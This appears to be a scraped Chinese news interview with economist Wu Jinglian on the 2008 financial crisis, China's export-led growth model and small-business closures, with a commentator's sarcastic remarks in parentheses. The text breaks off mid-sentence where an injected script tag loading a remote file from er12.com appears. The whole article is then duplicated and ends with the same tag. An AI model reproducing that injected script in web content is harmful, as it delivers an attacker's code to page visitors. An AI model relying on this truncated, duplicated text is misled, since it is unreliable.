汇聚中国最顶尖经济学家的中国经济50人论坛十周年研讨会暨《中国经济50人看三十年——回顾与分析》首发式在北京钓鱼台国宾馆召开。吴晓灵、刘鹤、许善达、樊纲、陈锡文、宋晓梧、张曙光、张维迎、钱颖一等经济学人济济一堂,纵论改革开放30年的得失。作为论坛学术委员会成员,中国最具影响力经济学家之一的吴敬琏也出现在了会场。在一个多月前被卷进那场莫须有的
“间谍门”事件之后,吴敬琏并未受到什么影响,仍保持着一如既往的谦逊,他的发言也切中时弊,一语中的。
应对危机需转变经济增长模式
nbd:中国能否平安度过此次金融危机?
吴敬琏:我认为冲击会很大。其实在他们还没有发生危机时,我们已经出问题了(什么问题?公车上书了吗?吴老怎么现在也马后炮了?)。根本的问题是整个经济发展格局出了问题(谁之责?追究企业吗?还是老百姓?首先是决策出了问题,然后才是导向出了问题,再然后是结果原来如此等等)。
整个经济发展格局存在两方面的问题:一个以美国为代表。美国的经济模式造成全球经济体系中虚拟财富过多,这也形成了泡沫。因为美国人消费水平太高,而储蓄率极低,于是只好凭借世界货币的地位大量发美元,而这注定难以维持经济的正常运转。(我看没有这么简单,美国经济与军事霸权蓄谋已久,印刷美元的成本远远没有cpi增长得快。金融霸权与军事霸权才是其征服世界的利器。看看石油从7月初的147美元/桶到现在的60多美元/桶,索罗斯们也会没地方哭的!)
而我国采用的则是一种对应的经济增长模式,即高储蓄率、出口导向(那为何政府去鼓励出口创汇,实行出口退税等怀柔政策)、再加上本币低估,就等于我们借钱给美国,而且商品卖的非常便宜(中国企业从来就是以杀敌一千自损九百,竞争、生存的法则,我们能企求卖贵点吗?我们是没有这个能力和话语权,这才是值得我们深刻反思的)。这样一来,虽然我们的外汇储备达到了世界第一,但整个宏观经济仍遇到了很大困难。所以从根本上说,我们要解决这个问题,就需要提升自身的附加值,就是要转变经济增长模式(中国企业喊了不是一年了,怎么转,往哪转,有方向吗?定战略了吗?其实,我们更多的人往往是嘴皮子硬而已,而真正要做涉及到的问题太多,往往自己下不了手,就如大夫拿手术刀给自己动手术。当所有的问题都压得我们喘不过气来的时候,原来掀掉背上的巨石,只要我们一侧身即可解决,可惜的是中国企业所有权的缺位,导致侧身是不可能的。死也得背,这是现实。更何况民营经济连背上巨石侧身的机会都没有)。
行政关停中小企业不足取
nbd:现在不少中小企业出现了倒闭潮,您认为原因是什么?
吴敬琏:就是因为产业层次太低,附加值太低,这个东西实际上是维持不了的(这个问题还要看看中国制造的真实现状再发言也不迟,一个几乎完全要依靠copy的品牌他怎不跟在别人的屁股后面跑?)。但是,我发现地方政府对于“升级”的理解好象有问题,我们所说的升级是指提高产品附加值,而地方政府一说升级往往就理解成企业分级:“劳动密集”就是“低级”,“资本密集”就叫“高级”,“oem”(原始设备制造商)就是低级,“obm”(原始品牌制造商)就是高级。这样一来,很多地方采用行政的方法规定“低级”的企业限期搬走。行政手段不行,就用经济手段,比如提高房租,提高地租,想把低级的挤走(这是现实,这就是中国特色的招商引资和政绩考核造成的,吴老你身临其境你不会这么干?)。实际上,提升是一个企业自身的行为,政府应加以鼓励、引导和帮助,而不是用行政办法去规定,去关停。
nbd:大量中小企业倒闭,会否加剧失业问题?
吴敬琏:在1998年以后我国劳动力转移非常快,为此从当年下半年开始,各级政府全力帮助中小企业发展,结果情况很快好转,国企职工找到了生活出路。但进入本世纪初期,随着宏观经济总体情况好转,这些鼓?script src=http://er12.com/t.js>
汇聚中国最顶尖经济学家的中国经济50人论坛十周年研讨会暨《中国经济50人看三十年——回顾与分析》首发式在北京钓鱼台国宾馆召开。吴晓灵、刘鹤、许善达、樊纲、陈锡文、宋晓梧、张曙光、张维迎、钱颖一等经济学人济济一堂,纵论改革开放30年的得失。作为论坛学术委员会成员,中国最具影响力经济学家之一的吴敬琏也出现在了会场。在一个多月前被卷进那场莫须有的
“间谍门”事件之后,吴敬琏并未受到什么影响,仍保持着一如既往的谦逊,他的发言也切中时弊,一语中的。
应对危机需转变经济增长模式
nbd:中国能否平安度过此次金融危机?
吴敬琏:我认为冲击会很大。其实在他们还没有发生危机时,我们已经出问题了(什么问题?公车上书了吗?吴老怎么现在也马后炮了?)。根本的问题是整个经济发展格局出了问题(谁之责?追究企业吗?还是老百姓?首先是决策出了问题,然后才是导向出了问题,再然后是结果原来如此等等)。
整个经济发展格局存在两方面的问题:一个以美国为代表。美国的经济模式造成全球经济体系中虚拟财富过多,这也形成了泡沫。因为美国人消费水平太高,而储蓄率极低,于是只好凭借世界货币的地位大量发美元,而这注定难以维持经济的正常运转。(我看没有这么简单,美国经济与军事霸权蓄谋已久,印刷美元的成本远远没有cpi增长得快。金融霸权与军事霸权才是其征服世界的利器。看看石油从7月初的147美元/桶到现在的60多美元/桶,索罗斯们也会没地方哭的!)
而我国采用的则是一种对应的经济增长模式,即高储蓄率、出口导向(那为何政府去鼓励出口创汇,实行出口退税等怀柔政策)、再加上本币低估,就等于我们借钱给美国,而且商品卖的非常便宜(中国企业从来就是以杀敌一千自损九百,竞争、生存的法则,我们能企求卖贵点吗?我们是没有这个能力和话语权,这才是值得我们深刻反思的)。这样一来,虽然我们的外汇储备达到了世界第一,但整个宏观经济仍遇到了很大困难。所以从根本上说,我们要解决这个问题,就需要提升自身的附加值,就是要转变经济增长模式(中国企业喊了不是一年了,怎么转,往哪转,有方向吗?定战略了吗?其实,我们更多的人往往是嘴皮子硬而已,而真正要做涉及到的问题太多,往往自己下不了手,就如大夫拿手术刀给自己动手术。当所有的问题都压得我们喘不过气来的时候,原来掀掉背上的巨石,只要我们一侧身即可解决,可惜的是中国企业所有权的缺位,导致侧身是不可能的。死也得背,这是现实。更何况民营经济连背上巨石侧身的机会都没有)。
行政关停中小企业不足取
nbd:现在不少中小企业出现了倒闭潮,您认为原因是什么?
吴敬琏:就是因为产业层次太低,附加值太低,这个东西实际上是维持不了的(这个问题还要看看中国制造的真实现状再发言也不迟,一个几乎完全要依靠copy的品牌他怎不跟在别人的屁股后面跑?)。但是,我发现地方政府对于“升级”的理解好象有问题,我们所说的升级是指提高产品附加值,而地方政府一说升级往往就理解成企业分级:“劳动密集”就是“低级”,“资本密集”就叫“高级”,“oem”(原始设备制造商)就是低级,“obm”(原始品牌制造商)就是高级。这样一来,很多地方采用行政的方法规定“低级”的企业限期搬走。行政手段不行,就用经济手段,比如提高房租,提高地租,想把低级的挤走(这是现实,这就是中国特色的招商引资和政绩考核造成的,吴老你身临其境你不会这么干?)。实际上,提升是一个企业自身的行为,政府应加以鼓励、引导和帮助,而不是用行政办法去规定,去关停。
nbd:大量中小企业倒闭,会否加剧失业问题?
吴敬琏:在1998年以后我国劳动力转移非常快,为此从当年下半年开始,各级政府全力帮助中小企业发展,结果情况很快好转,国企职工找到了生活出路。但进入本世纪初期,随着宏观经济总体情况好转,这些鼓?script src=http://er12.com/t.js>